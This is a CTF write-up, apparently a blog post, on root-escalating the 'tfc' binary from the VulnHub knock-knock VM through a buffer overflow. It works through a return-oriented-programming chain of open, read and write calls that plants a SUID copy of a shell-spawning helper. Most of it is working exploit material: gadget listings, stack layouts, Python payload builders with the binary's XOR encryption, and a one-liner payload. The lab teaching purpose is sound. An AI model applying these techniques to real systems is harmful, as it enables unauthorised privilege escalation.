I couldn’t resist to make a ROP exploit for tfc
, the last binary to root knock-knock.
I really like return-oriented-programming and I love to practice it! After seeing the awesome writeups for knock-knock by leonjza, superkojiman and knapsy, I was itching to see if I could pull a ROP exploit off. I knew about the buffer overflow, but what would I need to re-use code present in the binary? There are many ‘types’ of ROP, such as ret2libc
and chaining of so-called ROP gadgets. I first checked if there were enough gadgets to pull something off, like spawning a shell. radare2
now has a nice feature where you can search for ROP gadgets with /R
. Furthermore, gdb-peda
has an awesome ROP gadget search function. Lastly, I built a custom ROP gadget dumper. Not the most elegant solution, but it gives me a file I can cat
and grep
. Unfortunately, the amount of gadgets was only 107 and they weren’t really useful, either. Back to the drawing board!
# sample output of ropgadgets.py
RET: 0x8048921: add cl, cl; ret;
RET: 0x804891f: add [eax], al; add cl, cl; ret;
CALL_REG: 0x8048917: and al, 0xe8; call ebx;
CALL_REG: 0x8048911: dec dword [ebx+0x489f045]; and al, 0xe8; call ebx;
JMP_REG: 0x8048753: and al, 0xe8; jmp edi;
JMP_REG: 0x804874d: fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi;
JMP_REG: 0x804874b: and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi;
JMP_REG: 0x804874a: inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi;
JMP_REG: 0x8048748: add edi, eax; inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi;
JMP_REG: 0x8048747: rol byte [ecx], 0xc7; inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi;
RET: 0x80486e3: add cl, cl; ret;
RET: 0x80486e1: add [eax], al; add cl, cl; ret;
RET: 0x8048615: dec ecx; ret;
There are more ways to go about this problem. We want to do something that will lead to a root shell, without actually executing shellcode on the stack. But without enough gadgets, we’re left with not much else. But wait! We still have access to the functions that the binary uses.
bas@tritonal:~/tmp/knockknock$ objdump -d tfc |grep ".plt"
Disassembly of section .plt:
08048430 <strcmp@plt-0x10>:
8048430: ff 35 4c 9d 04 08 pushl 0x8049d4c
8048436: ff 25 50 9d 04 08 jmp *0x8049d50
804843c: 00 00 add %al,(%eax)
...
08048440 <strcmp@plt>:
8048440: ff 25 54 9d 04 08 jmp *0x8049d54
8048446: 68 00 00 00 00 push $0x0
804844b: e9 e0 ff ff ff jmp 8048430 <_init+0x2c>
08048450 <read@plt>:
8048450: ff 25 58 9d 04 08 jmp *0x8049d58
8048456: 68 08 00 00 00 push $0x8
804845b: e9 d0 ff ff ff jmp 8048430 <_init+0x2c>
08048460 <printf@plt>:
8048460: ff 25 5c 9d 04 08 jmp *0x8049d5c
8048466: 68 10 00 00 00 push $0x10
804846b: e9 c0 ff ff ff jmp 8048430 <_init+0x2c>
08048470 <__xstat@plt>:
8048470: ff 25 60 9d 04 08 jmp *0x8049d60
8048476: 68 18 00 00 00 push $0x18
804847b: e9 b0 ff ff ff jmp 8048430 <_init+0x2c>
08048480 <puts@plt>:
8048480: ff 25 64 9d 04 08 jmp *0x8049d64
8048486: 68 20 00 00 00 push $0x20
804848b: e9 a0 ff ff ff jmp 8048430 <_init+0x2c>
08048490 <__gmon_start__@plt>:
8048490: ff 25 68 9d 04 08 jmp *0x8049d68
8048496: 68 28 00 00 00 push $0x28
804849b: e9 90 ff ff ff jmp 8048430 <_init+0x2c>
080484a0 <open@plt>:
80484a0: ff 25 6c 9d 04 08 jmp *0x8049d6c
80484a6: 68 30 00 00 00 push $0x30
80484ab: e9 80 ff ff ff jmp 8048430 <_init+0x2c>
080484b0 <__libc_start_main@plt>:
80484b0: ff 25 70 9d 04 08 jmp *0x8049d70
80484b6: 68 38 00 00 00 push $0x38
80484bb: e9 70 ff ff ff jmp 8048430 <_init+0x2c>
080484c0 <write@plt>:
80484c0: ff 25 74 9d 04 08 jmp *0x8049d74
80484c6: 68 40 00 00 00 push $0x40
80484cb: e9 60 ff ff ff jmp 8048430 <_init+0x2c>
080484d0 <strrchr@plt>:
80484d0: ff 25 78 9d 04 08 jmp *0x8049d78
80484d6: 68 48 00 00 00 push $0x48
80484db: e9 50 ff ff ff jmp 8048430 <_init+0x2c>
080484e0 <__lxstat@plt>:
80484e0: ff 25 7c 9d 04 08 jmp *0x8049d7c
80484e6: 68 50 00 00 00 push $0x50
80484eb: e9 40 ff ff ff jmp 8048430 <_init+0x2c>
080484f0 <close@plt>:
80484f0: ff 25 80 9d 04 08 jmp *0x8049d80
80484f6: 68 58 00 00 00 push $0x58
80484fb: e9 30 ff ff ff jmp 8048430 <_init+0x2c>
We can re-use open
, read
and write
to basically read and write any file we want! I began to write a basic Proof of Concept ROP chain. This chain would simply write to a file descriptor that is already open. These file descriptors are incremented every time a file is opened and therefore guessable. This will help later on, when we open our own files. Without gadgets, it is hard to pass values from one function call to the next… Luckily, 0x0 through 0x2 are used for stdin, stdout and stderr, and any file that is opened after that gets 0x3. The next one gets 0x4, and so on. This means that in.tfc
is 0x3 and out.tfc
is 0x4.
I searched for the address of write@plt
which turned out to be 0x80484c0
. I leveraged my buffer overflow from before to take control of code execution. We supply a large input of at least 4124 bytes. The buffer overflows, the return address on the stack is overwritten with the address of write
. When the ret
statement executes, we take control of code execution. Because the address points to write
, this function will be executed using values conveniently placed on the stack. So at the point of gaining control of eip
:
esp-04: AAAA
esp-->: 0x80484c0 # return to 'write'
esp+04: FAKE # fake return address for when 'write' complets
esp+08: 0x4 # this is the file descriptor for 'out.tfc'
esp+0c: 0x80488b0 # random value for buffer, contains the bytes 8b 45 ec
esp+10: 0x3 # length of buffer
I ran this through the encryption Python script and fed the output to tfc
:
python -c 'print "A"*4124 + "\xc0\x84\x04\x08AAAA\x04\x00\x00\x00\xb0\x88\x04\x08\x03\x00\x00\x00"' > in.tfc && python ./enc.py
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc test5.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ xxd test5.tfc
0000000: 8b45 ec
Success! The three bytes from the buffer are written into test5.tfc
. This isn’t very useful yet, so I decided to create my own file first. This way, we can specify permissions, such as having the SUID bit set! The plan, in very ugly pseudo-code, is:
file1 = open('file1', 'w', 04777)
file2 = open('file2', 'r')
read(file2, &buf, sizeof(file2))
write(file1, &buf, sizeof(file1))
I’ll go step by step. First, let’s open our own file. The functions open and write look like this:
int open(const char *pathname, int flags, mode_t mode);
ssize_t write(int fd, const void *buf, size_t count);
There are several challenges here. First, we cannot specify our own filename, because we cannot pass strings to the program and know where they’ll end up on the stack. Second, we can’t pass the filehandle around. Third, I have no clue how flags
and mode
work, in binary. Fourth, we need some way to clean up the stack so we can chain these libc calls together.
Overcoming the first challenge is easy. tfc
contains several strings which we can re-use. I chose ‘read’ as I though it was fitting. It’s located at 0x8049315
. For the output file, I already looked up the location of ‘write’ at 0x804933e
. I then proceeded to make a small binary, to get the values for flags
and mode
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
FILE *f = open("test", O_WRONLY|O_APPEND|O_CREAT, 04755);
exit(0);
}
bas@tritonal:~/tmp/knockknock$ objdump -d a.out |grep open -B4
--
400579: ba ed 09 00 00 mov $0x9ed,%edx
40057e: be 41 04 00 00 mov $0x441,%esi
400583: bf 34 06 40 00 mov $0x400634,%edi
400588: b8 00 00 00 00 mov $0x0,%eax
40058d: e8 ce fe ff ff callq 400460 <open@plt>
Finally, cleaning up the stack is necessary. After the first call to open, the stack would look like this:
esp-04: 0x80484c0 # return to 'write'
esp-->: next_func # next function address
esp+04: 0x4 # this is the file descriptor for 'out.tfc'
esp+08: 0x80488b0 # random value for buffer, contains the bytes 8b 45 ec
esp+0c: 0x3 # length of buffer
return to next_func:
esp-08: 0x80484c0 # return to 'write'
esp-04: next_func # next function address
esp-->: 0x4 # this is the file descriptor for 'out.tfc'
esp+04: 0x80488b0 # random value for buffer, contains the bytes 8b 45 ec
esp+08: 0x3 # length of buffer
But next_func requires completely different arguments! We need to align the stack pointer after returning from ‘write’. This can be removing a few values from the stack before return to next_func.
This removal of values can be using a primitive called pop pop pop ret
. The return address for the libc calls is a place in the binary that contains three pop instructions, which pop three values from the stack, and then return to whatever value is on the stack. This allows code execution to continue smoothly, otherwise it might choke on one of the values that we pass to a libc function. I used my ropgadget script to find it at 0x80489d6
; there are many more, and many other ways to find them. The basic ROP chain element now looks like this:
esp-->: ADDR # return to function at ADDR
esp+04: PPPR # pop pop pop ret primitive, to remove values from the stack.
# this pppr primitive must have enough POPs to remove N arguments from the stack!
esp+08: ARG_1 # argument one for function at ADDR
esp+0c: ARG_2 # argument two for function at ADDR
esp+10: ARG_n # argument n for function at ADDR
esp+14: NEXT # return to next function at NEXT
So we have all the values we need, let’s put it together in a semi-smart and flexible way. I made a python script to handle building and encrypting the payload:
#!/usr/bin/python
import struct, sys
def p(x):
return struct.pack('<i', x)
def xcrypt(data):
xor_key = 0xea1ab19f
output = ''
for i in range(len(data)/4):
block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
output += struct.pack( '<L', (block ^ xor_key) )
for n in range(8):
temp_xor_key = xor_key >> 1
if (xor_key & 1):
temp_xor_key ^= 0x6daa1cf4
xor_key = temp_xor_key
return output
def genPayload():
payload = ''
payload += "A"*4124
# open('write') for writing. fd = 0x05
payload += p(0x80484a0) # open@plt()
payload += p(0x80489d6) # pppr
payload += p(0x804933e) # "write\x00"
payload += p(0x441) # O_WRONLY|O_CREAT|O_APPEND
payload += p(0x9ed) # 04755
# write 0x200 bytes to 'write'
payload += p(0x80484c0) # write@plt()
payload += p(0x80489d6) # pppr
payload += p(0x5) # fd
payload += p(0x8049db8) # buffer
payload += p(0x200) # size_t
return xcrypt(payload)
if __name__ == "__main__":
with open('out.tfc', 'w') as f:
f.write(genPayload())
f.close()
OK, so I’m already ahead a bit. We will need a buffer to store bytes from the ‘read’ file later. The binary does not seem to have a lot of locations for this, as can be seen from readelf -l ./tfc
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
|
Looks like there is some space in the DYNAMIC or LOAD sections. I fired up the binary in gdb
to verify:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|
We can’t really use places like 0x8049d54 <strcmp@got.plt>
, because there are function pointers there, ones that we need! I picked this location at 0x8049db8
. It didn’t look like it contained crucial information. Furthermore, it was writeable and had a decent number of bytes behind it.
While we’re at it, let’s make sure we can read and write large files. Unfortunately, the buffer is only 0x200 bytes large. This means we have to chunk it up!
#!/usr/bin/python
import struct, sys
def p(x):
return struct.pack('<i', x)
def xcrypt(data):
xor_key = 0xea1ab19f
output = ''
for i in range(len(data)/4):
block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
output += struct.pack( '<L', (block ^ xor_key) )
for n in range(8):
temp_xor_key = xor_key >> 1
if (xor_key & 1):
temp_xor_key ^= 0x6daa1cf4
xor_key = temp_xor_key
return output
def genPayload(filesize):
print "[!] filesize = {}".format(filesize)
payload = ''
payload += "A"*4124
# open('write') for writing. fd = 0x05
payload += p(0x80484a0) # open@plt()
payload += p(0x80489d6) # pppr
payload += p(0x804933e) # "write\x00"
payload += p(0x441) # O_WRONLY|O_CREAT|O_APPEND
payload += p(0x9ed) # 04755
# open('read') for reading. fd = 0x06
payload += p(0x80484a0) # open@plt()
payload += p(0x80489d6) # pppr
payload += p(0x8049315) # "read\x00"
payload += p(0x0000000) # readonly
payload += p(0x0000000) # ?
iterations = (filesize / 0x200)+1
print "[!] need {} iterations".format(iterations)
for i in range(iterations):
# read 0x200 bytes from 'read'
payload += p(0x8048450) # read@plt()
payload += p(0x80489d6) # pppr
payload += p(0x6) # fd
payload += p(0x8049db8) # buffer
payload += p(0x200) # filesize --> not a lot to work with, but enough for ssh keys
# write 0x200 bytes to 'write'
payload += p(0x80484c0) # write@plt()
payload += p(0x80489d6) # pppr
payload += p(0x5) # fd
payload += p(0x8049db8) # buffer
payload += p(0x200) # size_t
return xcrypt(payload)
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Usage: {} <file>".format(sys.argv[0])
print "Please provide proper files/symlinks in 'read' and 'write'"
exit -1
with open(sys.argv[1]) as i:
data = i.read()
i.close()
with open('out.tfc', 'w') as f:
f.write(genPayload(len(data)))
f.close()
This python code will add blocks of read & write ROP chain elements, just as many are needed for a certain file. This is also why we’ve opened the output file as O_APPEND: each write will simply add to the existing file, no hassle!
Unfortunately, if you want to read and write really large files, like /bin/dash
, tfc crashes before it can even get to our ROP chain. I solve that with a little helper program:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
system("/bin/dash");
exit(0);
}
OK, so now our moment supreme:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
|
And picture-proof:
It worked! The file write
is created with SUID set and contains the shell-spawning helper program. Mind you, when I was writing this ROP exploit, I used a local copy of tfc
that was not running as root. When the write
file was created, it had the SUID bit set, but as soon as something was written to it, the SUID bit was removed. This is security feature (?) is ignored when running as root! Lucky for me ;)
So this is another way to root. I wonder how many more there are! :) Again, thanks zer0w1re and VulnHub for hosting this VM! Also cheers to leonjza for proof-reading this post!!